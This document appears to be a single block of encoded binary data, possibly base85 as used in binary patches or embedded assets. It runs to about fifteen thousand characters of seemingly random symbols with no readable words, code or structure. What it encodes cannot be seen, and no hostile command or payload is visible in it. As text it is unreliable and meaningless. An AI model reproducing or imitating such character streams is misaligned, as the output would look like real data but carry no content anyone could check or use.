ziWVzHIrh{s(b&MMJ3d2U4&huQI$O}8CeF21XgZ)P-5irq=-*uca==pPL?D4`xc6g~ z)t1lDrO^4qGnEzte4VeySfpE<|2fq}UPjZseJV87m4M&$1y}{2 zvk2Pw{>b@nsPD$TUcRm8e4@W``Bv z6zvS4G9jspJX!tST79b?iUv5uXt3Cj!!GyqIYAWP{JrWCe&fLZWpAJ@6JX6qUutN2 zW2hiW*|fK_YAF?ECqZ>kG!XA(BLMS!p~zN3Pb**I2=PmHO>HDxfrGA45Y}-AW+Lsj zR3gkM@|)i+d25zvt0=_x$@(g)6Nibha492{*nrS!MBG(HK5wbUWK0eeUx_ZrT$=7jln_J*8=Hw{; zY(HA{GKQc*K(XS^cz2+Ux^>}oI60=~{>5BB5!(Jk8H~AI9@>QeYk!4{rS$AHuiIT{ zALNlINe^y*VC7((X}L<0(}urImpsS3at8D6Cf*0gniMPFj_EN8fZjp;x28;bH**1v z2vQ~Qp+>>IR{zNE|9YNf&swCAZZ~Z=!%-PM%~mCBn(UR<@m>s4^*Z;TJ|jA|zeiEc z{Y4h=8`0X$bvKfJ+^6=2vh6yZHkx`kSSQSM%82~gOJ`m& z5)bgw?R`ko3OZ3>y1woE6L#14#6x{gK@joKch;}$a!YqBCm{CV6Lk`jiw=M1^%K*|esZhMGT3?SFuBJ4k?|Ea{IGC0 zsO1gP4R}*m`Hr5Kf?Wbpfq>13!5Ce(=%l7i6@LC$jx**oH;~*zv#|CD!>-YyEWJW= zaM>w~!=#cf{cnRut~22h!<39K-0HcG(?n^oKcy7F2)5A|(W}Sf*O7m?Po0UTNS{!4 zcSd3**;>MvmE{KZS9$e^)(0u21;2A&=zdLN$>a~NEgU(+N{`Y9<5b2DPc+MHL|?q@ zBhFYzc_I>IDb56KkxCzxZ;U)u--7W6fP11^A|8mSOa(x6_-7Y!F_t957o*STdz`pA zZrt%%zxK}QImG|$j7M+v92q=f3?J~tF zw&X72>qkjUiGt|z3V{yFUu8Q>vuXr_e2yzXqqZuDN?4~IJERebd)R*(zw7{k=?|$} z0U2lWm&PrqhxS4Oz)6&u@I2!GhtGNdWcC(v_<)~`W#2K~) z-YK)KJ2T$B^hbZsqN_8wk=plspqu@l9>xilU)#}ro~Ahg#CotCj?GBb#WzwL3MeUH zL}Cz1nYGKXO5nMrbGD-uivi6laH$a}#Z3_)?SXm9l~0h9N7Mv>OUG;5NeucbyU$1# z?k{m;>{^LDYntiK*$9#dvUp~B{jTCat?fUJlXOo?`wJhD$IQjqrNmhHjx_0b4D?!I zYW7L&x4oVQn02AeOGtwr{H@JjSI@R(Pj^>E14T>I^ffW?Jj&%Z$YH@y#+<-x=dWZH zn2F03YtWO^&yW%9FwZNfVb!iS58qGRN4Rn+a{C$X9w4oI9sAPF&Lb_&GjLlPj`wB{ zU}9gOVU%X;lV>l796@%>Uuu3gyV1caJcK47SZt?~obNQlN5o2x2(QK?u*rl6HViPT zNuM`de21^ag|hK5sWF`$QPEjeYIZ(iAA*RkrSyU^ihl4Qgtzzr@vYAe#z|as?-%zr zW_;*7Gf8ojWqHL%P*OrCO7FuJj~+x)Y@%Q4)=}SlEUDWc%MM%Q!k~R?N}I|gKZl^L zp~jon#AiZ7c%L&hO?F2abgId$@6>%rYthP``J)1}>^b+(l!V8W)o|x1f8gjC@$3Jw zfG}gNK{hNyJPm|fGz=ygr!5`0qfLcW%(LzUW4o_VwR`N?gaC7?K1cy@@>@fy8P&IP zW*{9uH`htzPb{eoZLFwhPWlXK#__nq7$e=VVRVnbxZ}e7S->O}{mGkJWiB-yR&Kjz zYQj8t^ey!`6m@nw5(y-xLtX8E^&+HfAonQC+`-%kVwjd8?n!$RS}Ia6D)*(}UUm^t z6zn%48B7a%3}VNWsb5Y~;_l?+A(m!b)Q5;yFhDmu3_86Os}LpCARijgB+pHyVhL~i z5t7^p?mITvazTwBbq>}OKVq#OmEa37{sfLltCuerOEE>VHw#0u8wW3UhGgU9S9ENO4q@K7N{dZS?>fJf z{-GHhgnd3mGK)yJ={s_=%FOW>fvLXzXz|WbtNA|0em`lW)%nWpPSTld?; zdNId__KIe*Ov&!4q@F{!^ejTDy|X)tiie%`T6GnXow-bv3O$`<$?H(5d;yQDzlaXA zB}J_7bysT~|H-k!kX-R6TdR*tWkofAFX5)pJ!I`3B7hll^aRSAUDB)xzeA7Ap4Cyg zgVUFXqa2UghOv7Sp4SiYY_mvxUP2ObYj`3{SaZ0r`Ty9tJin!rSOp zDS=Ahmz7~gUG#{I&$Aij>~v8)7qvX_RMM63(n3Pq%7eJ(QujG$>9|%cNMd50N`W$! zGrHgr>JWjSfmQ`0;QZWhOhJ;0r%uP9#+}<2XQ;82@6E`q*j1`j3!s|kdgGexOx~Tp zH)Ja0q}kEJuX9)D{Eg7??oZL04F#aNJ<$XgclG~EH@I>(_3vD2C5jnoeAqEQmNHl^ zhEXx6moST;5E=ww6)SYaQ(Wf$7LQh(sb;d8C@({uT(Ce&xN%UzU(}w&!d3h@f6I8_ zI?>N~8%EFfD~E^d6H9A2cetk9)`$S5$bY{ozofbiJ? z2#fymGc@H-Ih@6a@_(>rmzau6QPV;Br!a9v=x{up7ywkPL>A&Dc(Bs6zW#@L%z-pp z-U|JJS3`RQ^tuZ*RrJ_#S~>xDaL6drEF=bYzS~zpXxAqlS;9?zSVdrF7dP)$6T|sv zxl{z>s^t83WgLoa;YY0dBr~QVoZaf5Q5EWDE#4}=k+LXXUM{RlNk>15;~3S_)|E~E zC?>Zsh69i%i7zcJeKY#2m%=$>2kTf>KJICjk)H!i;UZY_=ZExLc z+#Z_?GPy4ADBhkA{TP%CqE~@};lgv{=L6~&8dQcnCLTy!e!T~z6W)ZUi9V54Bd=5g!|fcn-ma-pD$p(bccIx2 zv&i72O6JSGMXn~d{#mz2rs%008|{*EcYD8X)xi=lnmd=U@O~kRn_Kmlnm(aLC$n14 zXrb9nvM`&ZO&r2kMTsi$hd&jCmr^}Q;*bdvLt9a0)z)FiOmZt8Pgllj{Ke4j7Ca6V zInz>}Vd7EM8cszZi@bvz$6Gm$xHs#OrH-D#WYo_X4<{1lQ1}HhyX7%6qrn`tlQ82j z$YQVjlyiUV%uj)#0ff+EI%74zDuD%8&82$N=-o8Z;uZSR^ww1Y5Ng05)2PL~zz>Xc z=*qT5@}EF!`z#S_#(XsT0ny6Ny9qz6Xut#jW17z>9566vG+csULT^Q8y+kog5f-CP z@u$f>NloL=&nC1qUhd^?WrayuxP#upY&lH{C|IlINJ6>>!Fa|NAWN1!NzK%6UY%Xx zH=5QW@_b!dBJf2t)p7TLqt`zV(EDC=&AT}|w=&mG6h88CpW=n6cK6kbO)>Sv--vaN@8nrq%A+7r8U04)Mg{jyi9>S?`#HT;JNTb3k zxyso{`RJPMcZgJ*Py?#mOhTc3JEA+I!<4nlT}=+ep@u@-FK7Ybsv}(5kyEFV6Cvnu zlw{#)El?{SGSZ)Q+HlP?gp;3b>QtSir}oU80(`Als9iiwiS-|z7F9j8=`pA!n&7Pm zFp2AH-*PE0CGqp7)|0JOsj0Cp2QMok=B)*?GrI;?Bo z%lBRoG+Bl7tq{bNgr|P7e9B$Va0-9}(639qsUVaH5(}gyUUXqBe#_%y-|G0HXoJdt z+#EspHWM5J62oLngH8t6p!AN1Z8Fg1kVZR4$(w$OhE@YYon4AGz}(WXs$Fl<;f#KczCUZH3n&%ibli;3~of@_8WU=LA*0i+cWbzCY8E9%!Z zZaa;dm`YQXm7oVxhJmE@rc{ahq1=KHcv|uzn##wDmQ$;a4vkP>Pu7}Qd# zazog%q1_DaShejM#|w50oR&RvW7v#D8xP{U-w_!^KM11KBC(0NF(YSU*4-xO6n!-B z3-4U_LR`K2J%%(^zZ{d5XNee&GPBnIU%R(laO&VrJG!lq53k5QJS3Sk^sdTSnS;K4 z;V&wA0#;67ipyCF#CSUH@!OvfRTmh+_od_C@aGp9EX8LMVHIugN!W7+D%$!)V;|$k zjEv*iE$w%GIl_`-@na&&gpp_R`K~7Fs|N$pCA=8en^I$HW3njW#x93GVH(#F!~z98 z?=AEvj%ouGNq@FR@j!_mGOLz%>_W&)0bm|7OBKAI7tk=}}NWzwB*pdlx z%eT&ZtO~6<*aiz1U(%m`J)>MW(K9Knt3FMLe7#&Jv>s+6%M=wMl=c)EAEwGpVipb3 z&IZM^+P~Pk&dfz1dE#UW`9u~4McrOTu zj_2|~pZKSzGitil`5xOLjz_hc!|AWMU3Ps^T;f)RLp-#Ij?9b|b<+xi)h6hRQ=-eI zb0$(%GJoi zfl=u&M2fya`HZJgfKeLv8-m(j?WV-{$^K+$HLMgF*fTTub76?%fk{XU@tzUH;Y{#b zcKgp27>64Apou6^Ln7SAe{CSTDkXGdu~2Z=MMq4x zEI5U&-V&i{h;k_2UM3}gfUa7*HCBmGj-UKd5*)KPN#pC!Zv`yBcK<@B*hMSZepftm zGmWU9aYBD*QDb##1|I!%;`7z`Rj}mW^rw@Uw4a3C~2A60O zKsU><>BjtMS?7AJ^`i~;p_UUS*HR3`kxKu}CNeYGAsV;*THhjfm*GO~$_`u})VR-b}5>qQ-I%%F^LW%RxrEF^dQ5Q%JX*GYl%Rk+Qh5J_HE_q>2ex~_Cf%3&ZSe4r4WNWVlIR)JsX7*x` zcL-qy9R&_{3e0J#gR9ibzvAZ^bB!=oI3|XlShP=_d%h;QWY=l-I^HbpW9OFfm;GQh z$R-<4rPg$*9n-Nu53kBbtRe<1h6wQMqq zwd4Ul*j7z;T7N=QH?~{Nm_ciPM?T73LZ4{#Bd0VfMp+x;_17bp4l_(ONWn8Ug-p#* ze3mM4*b;9IM8Xwt0}bxCrr?)=Tu+LBU?w8M6jE$zln522EHD zjAbb#3+Cu;b=)jBsWyGe*8yTu8_U*Q(Q#V_#1J|gy=V*(GH@`^FGGO`{sKm-5DxZG93;P{z<_)pW6MCUd1c+tXQifRj3zjMVjU2GjaToJWU}+*Xc(rDf)O%;%%?55mo#Qn zel^-H?2e5C72O4u^#Pk#-;A8cVpL4_LE1@riTb1Mt8l)pCM4SOc~aj29ZA!9DACZ$ zBZV&0z{CsfCgn!rOD0sni5bc9kh@gBuSBs1<%bV@`>Hkz8i0&vAzc>Q^t8p^3V$L8 z(zgRF8g5^tC~yCK8+4H6o>v#+2>FjV3{T5WW<5po4mFsXO14vDGD(L8gqRZNwnzt<2WQ8^bRk_` zboep(vRKB5fF^!!9ps6%Y8RY&EOlJbF2k56GmgL3fV|CNo-z0{4lETriq zm`wRuBz-uIn)s52i7+q6LZH{nAis@*h@SmR*za#`f8V!X(!qcmCypjwl@BexcrN5y z%o{|0^xz4r40QXO5g;ie3&Nu_-bB1Pm>R*qU*u zA<@dX=;I=b;P^fKF4>}B8#5XLKs}j- z%zPplM@#=l`wop1LgC%r_&iPF&43jk6EKh&M#&V%OuGbsVlV!y`0=K&#+ix8RIeT4 z9*urk76${yyDXOIdcQh)9ERC0c72`QS6nGeDLmdBx^DbC!!nx~;@ zL;0v^`N6r|wFEUEotBh8|2^$&)S)zy@=enn1?G=g>-@Z~lOHZ(^|9t<^0JDdvj&`E zph#+{Yz|j$;RCuN(LpX?JR>t5qv4T0n&XvMOAX1;9qC7G0S-wvzX|TzAkxkKj8LEN zQYCoxcomb+SkR_jT@UCb!AQtqy}2&v!)_mYq>m$&ucqT}$H1`1?d|%Yt3hTsiw?!- zk>=T$U2=bj+11gQzGKZ)EhhiqsFZ>sf4XULgr+Y#tihelyVcsog2E_V^9oVq+!Z5x zh^d*r-ASZ@8O!uOavj7V*OjykA_m1Q>He2&IicFLXgp#E6b&y7DOx{Jv^%|LxSOk8 z#T8}O?-8VC@Mi3=8cR-fL0ST-E#tTX^xT>jBl>X~vC5@NpH?|^%roQ3I9%9?nXbk; z6JIR8no;9dOl!tU3rwX|rb*(Itjp0OwCcYM;p^=7_RCqXPXaQqr@rY(VXEwcTZCp= zI`)aiUu)Fovv!nCb^*>f>h_*?oF?mai}t*e;iX|tY+=goFokUPy!aKRe;>S)b*Xbc zzGCw&TNUip_SX#x2jygF-xVU;il~1(m++=dC^*`XXX_uCUg486ip2>B`P$ zAy*}j(X{lExH_sJKJTi6Zdc7f_u$J|cFWYZY8vxQ@VI@t zP?oU&OyIF-VFapD3cPD}`RCWi<+jbaK@jlp4%!d;mms$3@j2qC>-(Z_Kfv;QQzCRV z>m3vT$=K<;upJ0~P%R|nd`&$68v2oi!YDc2+wsn@x^kG`pnXuwbhH5nLxXX~~T+wV^(!XwMYx7s?-x3VW!9_j!v3 zmCnDaR_g8X8T6RmX0)wLE55!X^pm?1qLE=nG$Ku1UjN`Bia9W>R8wkHs z7|nmw&emC8&6B=LXimdJEI=b*0OhS@-)}O<27dPyeC8Q2*I#KT6w-arn_IQhn=>?9 z#e|aI%ZzK5O_!!ibknb4NbYkI8=;1UUPydoi7~;wNEqhy0!xMNr5iku@9r*O?v^5L zv#rD`LI^%k0(;N*%Xxy7js5shvLXT``46B+YxI|w|K*cGoA9sJgYk@x`;Jq^-s*Nk1@*Td zALJ_G{!3&3*mM8XIPOwfJ3OGPm0tdaemDF%aNN}y?9Y3NCPocW!?}70m|8!Z(#xA8ev5P)2!Ku>FBg`$7l@wOAfk(xDj!`|2s9guO~T; zU#<<`XWu#oKK$1NE5ChpoGfpbU5*+KDT=AGURf`(pRwJ;l%fOr8EkyK*=;Taw>myV zHjH71IWIHLu^0LA)-1>VIjO9kq70391b8uLxP6honpQtYlhpf-x($W%kMV)%_}|N?8_YBB;Zpjh+Y8S~z(o?elabrY zAQQ{qfRCE@?$^zzUQf{ZU;q6C*uEA1?FAzL!?>+$?!UeQj=e#Ln^B+M&ifq^Mgi#K zb;1cjcW+-cKfU+1_r17p$9vMR0^TXA1hcN#@QQBF@pMxl_X{WNH5g%+2nwgildzOE z#CxpeySo2Zkko7*!+2bs-)NH`Hnt%jb4HCCblRgaYd5?#3|k)Fnt zIpZIb=DDjmfiCA`ocfk7NDn|OPcGGo#W1gGXs%!FDbg5>06PR}Z+H+}-c)2ta&`(M zV>nl5;O>b?%g0MUDAPz54O(-hQhNVuk&1~Gax~CTu=;SZYA%kc8*E6*hL+vBP6y1= zV;S&c#4F-`ukj|SR-9L^KOFLahwAF4ju%}>YckRh(8_3@D<`EzoF5(!KfvxUu$*E@ zGRWFxEnl_Ys4fR$aA;y>tsz*&AfUg0d3?04AN-m`xg%k_aeeYyu=|JT7gt8KM9rb--WEb^2V6sI_JaC6e?Odj_ew2r&W%d6b3vhdj zw!Kw_u>-{%Gf;wxtX+&HuCzzFllB`y=#(I-h%n>M*#oy>3O;ZTJ74>Rl-5Vg#Pmzt zUBMNEh9THwY8DAS24puFjQ*BO=Hq18{)3sdJ?K^_19}Qh9kx~nqEb;%`4TNUYzr`& z;I31S17B$vw38X>7p=mpN7 zm|@f$ACvg%sqP?Y3+@b;ftVfzI28nv#p?BnQoN{klghvErnT&cfrylKqb zu+W;K!iP)~-X#rT7Sw?4ElpoWKGwk^>zJvnxg@2I(rJ+|$VO{4A{)FYXiT(Dsv5~W zvijx!vb}HbT5212#uC)3v1fT2Ex*vDg-ip#C1ImeV*hyWnTHK|Ls}9jya*~9P(F?muGq~0CJ`2y zk4tmt4}};XNS`|nYBxc&I1w&xd&WS=H+SzLJn2w#3t+~&>3_oxp@@W}Pm_ht1Wd>U z{?%UjI~n6#z?`4OQ!$p+J@^15$Q+b&QQ8$XgPZOacELcDN<7msQ*UV*!C0{^jMJqe z;c$WKo=#59DG-Pt7vX!2HnFsWdy6>xNIiuntVJAb7=o0h$!I+DSK%CU78?#Ea-%0>$vzUl?@}8e)Bxt&nr-ir zJT-MNqNcxeFNt*1LF zeB!n`ochjCHVS?sgSLyXv5}tiz>*7R(SescKAnsE|BxO2W?&z=M<4Ij+V{2f`9r#!t>BBPes$yIu0rOy5xf=HC^gFQ7c z)5TP($=bbRy#2P^7H8z|KQ+w$yX!k>PVR~DA8_aLNvGMMw{zsn zy`VdNueaj!(&nGK-iP4a=b*>e(7LCN=4+H&#ea~GpYK=x{etPW{LeY~LY_CDb=w{9 z!-Y)SLDQUCM2*+4X6Qy!LZ?SnQbB0m?12Je8b2ixcs(rXT1p#$tUYEjfY`7DGp>DC zLd&0N_H&2hgF@)TrBTpkB~B+}=iLu0&Yk(J6No!GU2 zU#9A%iCn;PBak*j8dJUl@^=%4ek=!eux-R|PUdBO@+wcs{7SbWQ4dCumYD5t)=a1B z5x6;;g(LCss;$(^-V|;a2x`ogqpgBP#GWafobIYhRqFN(bn-(mB;g`jFzknul=OLv zr5ZWT#U2J`Q{Lsyt>w-ZbAxmJ{rzY{vkmMe=Xh;-hf_7zmnk&?rVf`gV;!hh86z^d zS|Ue7NeDNzkUf!)g`HNIqialcgoX-B(N)Wq%&mG8%~rPbvyC!h^PP|885*P37~_G# zQ4O1A1r~%K5A4eqCAI;cW7Mt7puoEpBkC3Lp1Mn(@^L#|EjoZkk2@{l1_4iM(%1?n zlX*Xu-o0MKL?CHGS)YAIo3LX5QW2S28=V{=DNT~mZlCl>>^{`<0L2A(7tIu5C@b81&oTO7%hW4atV7}IXce#xEL zSn{0C$i-aE*!H|%2!O{kH&V`?v^Zg>FFxJv*GY1DSusevCBDzQnx<0|%o%&i-YV_X zByPno>)ac$H@>;FrQ>UajU(%;E?^6*33@VfcHMJb^)}{884tsg2l)f_ALdpeQ!WNa z0qo?Sm;`}eFM>IX$TPWdurYJ7B_wdTlt~nKxl1g?R9y4Ryvn{cx?<`jByUk99MO02 zaXG!x!rw!uo^2&dP1)LcrV%8k(#QEixJaZhUiFtU_~p*lz089_Bkc=u^@EWbsfkQa4I)3WCh;N01iqHhu_mcSPU~*t2wt1Du-D` ztbmm{?Q|md0W$Gluvcus`LtDEY_x!fqNteoO+5X}ZnEJgrqTU+PKu{!^vzVDAP%Rp zS@~1Tn>Jo8ue^Qq{@Pt=pXN1a)aPOAH&XvB!bmq4K~>u-j-+pBA;Qm!zsk;PL9Yuz}>rALw z-=A;m)oiNiyU-TCc5YXM{v2b&XU>YRfJdP%Q)d$5SXt?m^@Dxw(Ots3)Nh76A=!L? zQ71^LCs)tD&g!YX=9agRq%^18wP?hC2dkOqSJ3bMFGGazMzUXKAg-Hc@KJaUl&=Cu zMqbh*2z*z|-wDBDtsiq0!dfL1B(mH`TT_fy#MgnTAN>7aOGe*K?9~L3U%fnJm6BYV zTNeaJ8JZ07PZ_eHEkbu3omh_$AbcVk-wpB+++t+7j|dln!;F7;QZyN&Ztt zDYEjV6zmVBm+n((Qogfr*s6#D*Ec)=qSc#)S`qj%J^b z9zfH7&TD-S5jy+a*pDo+(~YTsLY@p^#Du>u6jb+?!Ib|BYfxgr2q)zvbN)LztfG-f zj${9J;A)OjbnizR>DqwY)Hm119IbMFgc*qw=J7XZ_XX}=+p+~q82t8Hq!8=L(J)098WctvSrEf(GvywX zqK9yD-t%tMgjHl^;&L^~@oDp?)-^qxPPV4e3ZFE%xV4q!{SeB#DPGMEypgY!mB`7k zBAMSPoZgyHCp$9iQ^|f}FLFR2@D1~J3tO})eEyFi70h1at09A3%<)shPQU6@*wM)% z4X0$+r26Ne1!HZE$7f41u7PGJmXENrg65IrkbePAs|x6y|E~EFxlO%2oDzOMEKmI9 z<)iaxP6O{^D0zZ5OO&LuzqhU+-&r|12-3!KzlxR3r3oFVS6(B2op1cz;#6EIeJJOf zI({@hl!!$x<&!x-mNf>g{24KT2@q*e*6}(^gU%(>!y3aa7)YYA+qkra9gYT^UY3MJ zsrE;P)fn?m%R0-Pq`ulC`_W^;wA+`UQW(2XyUGA@%AdVoqU=*M1HquR9w2ncL9b9c+mY zPONkbZIbXP=|ygEPU!}Lg;$RiTYVfeM}Chl#fRW}dxhX}l^3Rwz1g&s(B=rHU%Xn} zm2LfAu%%Dc)d=c$ZHq0%@_BPh=fb)d`d#j;mGm-V&6DjX(huEI5es&tDtMl_`o`te+|6xe!sFcn2Q z8R%1C5K?PqE9qT~IpQIY(I>wCF4eEPY>~ro9W{HEDj4*GH=SC0iKT);tsAO*k5`q4 z(t_D!je(X~Iu;w53CT<^<|Il$zShM%%TO6tmeP$H9wX(f6QH_7DwQo75O`ng*D0IlX|OU9Kl zxhv+$vWM;Lx1Xn*${C~sHBt2tLW(@13fX?z#dOZurKkYqd!FOK&^Irjr5m#^tqr2)c( zL@TpI2rP>q3YpHzryUtfx0zpzbxxlU0ork!78uj!%qw7$&Bi)^#{pMPgjnf7{V&?` zvBEgJb2U;r@Ry^_l4ZF`s_Yq-!eLW)LIrhPUy4O-wbHeW>3a!vq5Tb?h!%w zJ0|m!gRS#X>TA}MR^R;NiU$0Z@BdszjG2gA6HGKqet)|(xX?&Y?Bow ztb{`NQOww|Y*;h{zrlY_7di#dB~KxBsh#7Y=7VN58qM{|z0R-1$fnEnr|pJ{C^|W? z6YA6A5T+DL!!S96JvbA607o3@zxjqS#u-gU#rh%sq$w_{_lYwkazT-uzKOOBmtyIR zDbB_J4DMX&j}xWaFixSj0ynRG4_NLG9j@9hhRYgNu{E;lXa2gawM|^h&S<+&erXaN zt83(%33CHGQ9gy9;qlxoa_+6SjZozjtw2_KO2KZnv-;9Xc^&ni5h_-ZAew}%YFv!) zUD0`oTOlij#!S-CFyY#3nt5Hud`ErehMSnjDlJC6w+fWrkAxY6FR6SY9q8(R*{KNE z>5EY`JCbqcmLGqb7FTnF=WJoIlc~2=$e{8ip4A}p9u=xPQ4Fy;-VA)Vy@w3@x<4tM zTyzqqzI`5rH_?G`yXS1a85&Y_OkzP7Z#)fDM?qX3Q+98(WT;zXW$2fnT7wBSGhur{ zd>U^`wZ%l>r1xf;Y~k29_-Qr#EzHH(mB2RkO~2Vj1H%CW8UL=S0Jd%0!uC^TRec*7 z+ue28RP2Fy&(AxK?S=eN0!+^b^`h&krx^veqX6}12 zUA*TZO0arubfGN%`O@5kx8S?Q|0H5wlrRNi>nfj%(qDXMt)c!`l>}5i$}WrRb7{C7 zjm*c^8z1Zcws|O5AfgGWHz%eC^rPDW9-iVh6SH2c_K@F+S0-) zR<ldTnS@9NS33l9*{dm#x zfOaHBSraHbEv54`s8zS_zu8*hJ5N-tiqXJ-Gacx$p$*nY)4yL;6*=*6*|p#uu!jGB z+*bX)HTrw=^!zJuPJvFV&PXYfwcHVXPM!0!xae>I9wAvoY{FIv!eg0UAjv{pZyTD} zz7p4N7b^Epj9%0HKHXsdXBb5=aT?#Aw*m`EzYoCsb(0OPlVWk{{2u#xJ@O?a%!xdTFsU$;LlM0c!r(&P8hH!_ z29l0RS}F^H_SOaSgbGQlG=j?mxZOzlv!=g;{{0OOe2kL+a|a$>cl5TI0sc8JpAq!e_0_qe+q9HkQa{m_%ZM5N)-8h+}ixi5@DZN_pt)HYD<*-jYA2sT|8S0J)ghAXfX z*W&E-1*orKGvbKpjGm##t6PY5ADl7V&+lGj#C~yAI)V!)3mZ}*Ec~JTu45C175`g) zD9?bc@*uKByA+4*E76tJY(F!ncC2xRMmuxNfon{_MvaKhBRF-06%>*pyBP99wUA(Jy^Ot*cXdA1(ZhbyK@t zr#hG0vm=U7Qo}Lur5&oV8YE?oWwJDz8MXD#i|a}X{~u4^8J2YS$9;EOSy`HyTDdAS z&6$~dP?@7F&D`5GSMG@uDmBY(?n&<4xd$q_bCP=^Dk@G;6c7-2xc|@fJg;~K*9Dw& ze&6$%&EIU)D5K)86>|~Op_eWVA^PeV2kq+1kG$8l<6leG54|vBD@G^in@B~n3&Uqx zTUOe#L|;9K$Hi#W=>81xG_dlE{l6P>GwAkFZgr}jyUATnP|WjaTy&YOjF6~N&zXo zsf-liw-BYf#w}9=XLPHU;=XEQ;Lun`64YspSNV;Xy3;qx!auK41*_&3GpG#(@Pewo6olQ~Bzrn7T7Oa2cVuKb>5luZ$MCQBj z>*DnHFSQ+*?4CY+tDj`dX+Ny}CWF{sc&vRzvu)t4lE(F=j%eJsgJ;U@nbhuc;!rC=R0fvnG{D{M-?c(OkYqcDb#tVC2YUE3I#JcxtJ>lKmX@hs?dB=G}yM zSHVkB-}))%nD6<`rhe;B>xW`g{pP<*zZZID3hbH1iXazviwe=`z3ijvJz|C3O(j_L z==^n$wEYk4ThTW^@d{jL(f_jrFDnbaN>}$jQ?~4;dye5>Vj$S2JHo=*0W}&{9Gr&F zZ)1hD26GqM#DDBPNV$Be@9POi8{o{wcvo_G1govri2oDOw$HiGevFkX+@7I~685;$ z&P7h=$*fN@2VyyW`B}QXw&`xEz50C6 zV9UcT)E7f-4gPmABbr~QN?&oJ9_}%5>h6if4toEr=~0!InJvU{$>G}QmQHFtBQOCX z=@-Gb^_qmod95@@9wt?3^@WU@v)9h^W%AYveesRxG0Um#$6pei`M-ZQv^r?o)wQ(b znr(xE$+;J~&#FusOOj^v*MCpHFfm~_CnYu9I$z)9>c*vdDM6S2utl9A$G5I;i+d@RBVK*>+tpSrs$INFwq{4`}`$-w^&&__u#eiQfmi)$*p-bQK5 zI^Wx`7GH{f?$gwr()YlrqH=HD#cUBJWH)MVZJb6OYo+fM!nBHJkKF87DmFo3X8@8OAk zE-N3T6EV>;`)CVg!bjd@85nW`9cLnv1CU1-N%JIOYw+|t-@`riSrDP###F9}e{!>Z zS4=)MP;0IG{p6=GkLe*E&-R@!4#c=|H>c5Tm@}Qo7yLJ%o;lB^e%&jG)*ZtPA0TUa zoD4;#O9@zXc!UwvkAQ&nFaafJqKR(QJeUu>CN&d>fbRA4q#+fXKJckJ(W+UvVOT4Q zXLICeSvZ?t>k)Sarh|YRuHl0~s9oyZ9`e4y`5r5Dv!f)zIp(k#qTv%(9n&-?Nq0crQpSLF$sa_HN@s?xS1~% zmjI*1LUFy0;_X`{^}y`BBj=s?JR9$YY~6MVx*6U|7j~$_tkQgZ5UvKX!CisC(3OY* z`@MNBPx69BI+C!pQ>rZ4yb#bFjwF6!;vUJ=HPV&+Y&!q#h7%c^Ce=Y!M)`7gHf70x z(apSvV@%v`RwYux=f%e6sDenH<|RUlD=g^1IFPWqJ4RXJh7q@(UxlG!kfh&);x8c} zgy1j?-{|TIrH>2Oxq`rp=RAYZ?BKe^laB4jvF_zA7fj@)KiKI%G+F0zCH`FDWHa-e zc6$EazBqGQ(JR(@{_(~BNN5C$O_*E?|K}YQcsJLg=C8>(QO3w3ncCLPz$x}+;>+u1 zjX)@+tfWbx)#|Tr)w3-?HBJoJW*3si7DWWxcx^2WN&mPjyx8wv5FS#{tVXF?VBc9f z^}oI_V^O~aU?xdj8JkJ_Q%(O2C^Nu;=*wzjrY%kBXLp&;j_dXXk$to9~XIQdP8Ztg(B2b6( zdUj8tzg|deG`#%f40N`y{bOY_(#(GOZS9#n|KAjDD<3yurROu)CXz&TgY<2Lm0*ZupH9-JTktq78x!1%wh@#&>db!!SGwFF) z|I=+JNC$eVnZH^5HI~%q3dtvyx1RLbBWZIKxLIv=-u^<=j5Y0VgVi#5etvvA^zKZ} z$zIZc71W&mSAAGg2{g|Q44h4uA|0?=e5FI$(5D7~Dp!sF-znJPx6!sE#{uv`bE4>B z-m7NF(-F1$%ovOlqzzS%1?(?O!{tF<`;{<2$WxG@N;5etp@Y7}sb?b4u^W9zADgFr zm9ja_=d*q}ZiEwR0cW`V0g+_bEW;KCq}rN;Yw>zDVJBmrv2-A2##8ZVxO7i8W?B30 z!?VqlxLs_=R)>JihvgvZWCa$sU2sTulvLS`mf;@D@|ui|EY0yoSV1}gVRoeSYU+wd zROciA;9R}_PI4;)-ASJuQ?Yf7)yru920uOU)ynnC-Nb#1@`RoUHd9Hg*poFhparGV zXF}F62;=Z2QkE8!0pL?%80rAuyOY{%sX{}J0F-F$0OdeR`uAJEmmjN9dM4SF-vzCC zt9*rw>e+y?Xe8wjMq}R10=Ljhbo%Mptp^6_kXEk%$fMgP09EM~@5kc6GVs>2*mT$D zdicw8Ipxx?3e0)zQbD-I*X6}^>Fnz%J$=c6g@5F5yjeHQ(ii4-Uk$xnvQ;VChfBe% zRmu<#=^52}RViwn4{y#^IoH-ces%V{WM{6VQH zUo!C65B@D@aL!ZfU%iEQDt-v5%U?FDLpX<|Zh6{aK6L&-oh{RA3e_L`V0(GMBpoO# z6?B*~*1qZde`7wRvc@+)HZ0U@US)l&%2s__?AfdAs0iPzE0+X!HPTtGq*=ikg2kcbARIBTyLPN;)D*YE)?p5!19a_2IO121y-cVm)z2 zP|IsQ`p#)};yH*aVy&0T_oKf{oR@+;N~XnzpSMx%*fS_*jIj4CNCMu|M%W+=#v26g z(<^`{y%zpN9TX`_5)7x*n7_7+MQr)QcD@Yjg$y_eY*{}N9z56!L$~8!3)DbuRNrEH z>xr~^NIN0`_Q9IX<}i;<+zO##<*l`H>TXdx!@(S@5-_b#;otCs?PONKd~w;!t$v(C z{9eIsQ?c3@%Z}rpRJFPWbS}giw7_19pzN)nANtZK0d?-AnL=(bh*U4+l(1OpK|AFv zMj!}+PJ8kdm5q<`$gA6)vj{0TJ>Rnv%VYxJ;t-rBGS_?;%WyKuX*`htlXF3xd9>9& zExv&M4)|ZQPZz5X>@voC59*fRUL2`07a$mBN6()2&+8%b(T%wD+pT z7xe$&m!dnreOM$mwebvVFpe=Q|IT95O1@ZrO{0v}b+l+9{eKC# z6=#!K64YEP*i@;S;qlP^TK4E-qNvcv5X39aU{h8hksD(C8%829=bYSs)1kP|Vwi*i zzV+p%Q1PnW#Vc#Y!*9Cv9hs+?^xDV&HGgsZ>Mc~X&-T_l1rQ5s zLi10_N7Vvq!BHutp9ZRx$UX8el^?s0RY%dbNj4OScLZzGZ1h!VkIvj6h{KC!4H8`{g}bDOvzB1xBX`Ai^jT zNa`j@STYNs?jwry-QcFXkxpX97B&(M#^^_|&W$vzbjhK)is@}t3X-v1Q9na 